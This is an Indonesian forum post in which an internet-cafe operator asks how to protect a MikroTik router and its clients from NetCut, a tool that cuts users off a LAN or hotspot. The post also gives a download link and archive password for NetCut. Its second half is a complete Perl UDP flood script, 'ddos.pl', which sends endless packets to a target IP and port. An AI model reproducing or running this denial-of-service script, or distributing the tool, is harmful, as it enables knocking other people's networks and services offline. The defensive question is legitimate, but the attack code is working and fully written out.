Topic: Bagaimana mengatasi Tools Netcut dalam jaringan HotSpot dan LAN ?
Tiga (3) hari lebih ini saya dibuat pusing dengan adanya sebuah program yang mampu bikin "KO" semua client dan router di warnet yang saya tangani, namanya "NetCut".
========================================================
Program ini dapat di Download Disini : http://www.ziddu.com/downloadlink/3657554/NetCut2.0.zip
password : blackarch
========================================================
Dengan program ini, maka seseorang bisa dengan mudahnya menguasai bandwith jaringan LAN atau HotSpot (Cukup dengan Cut Off pada menunya), dan akibatnya warnet yang saya tangani terkadang suka sepi, dan parahnya di tempat saya, dah banyak yang pakai program ini.
Yang ingin saya utarakan dan saya tanyakan buat rekan-rekan, bagaimana caranya mengatasi serangan yang ditimbulkan dari program ini, dari sisi Mikrotik Router, dan dari sisi Client, karena tools yang satu ini, didesain untuk berfungsi pada kedua maksud tersebut.
Mohon jawaban, informasi, opini dan lainnya ? Agar kita semua bisa mengantisipasi efek program ini yang bisa menimpa kita kelak ?
Oh ya sebagai tambahan, efek program NetCut ini mirip seperti efek Denial Of Service dari Script Perl di bawah ini :
"(ddos.pl)"
===== START HERE =====
#!/usr/bin/perl
##############################################################
# Denial Of Service
# Script by UnderSTART.ru
#############################################################
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf "$0 <ip> <port> <time>\n";
printf "if arg1/2 =0, randports/continous packets.\n";
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "Script by UnderSTART.ru";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
===== END HERE =====




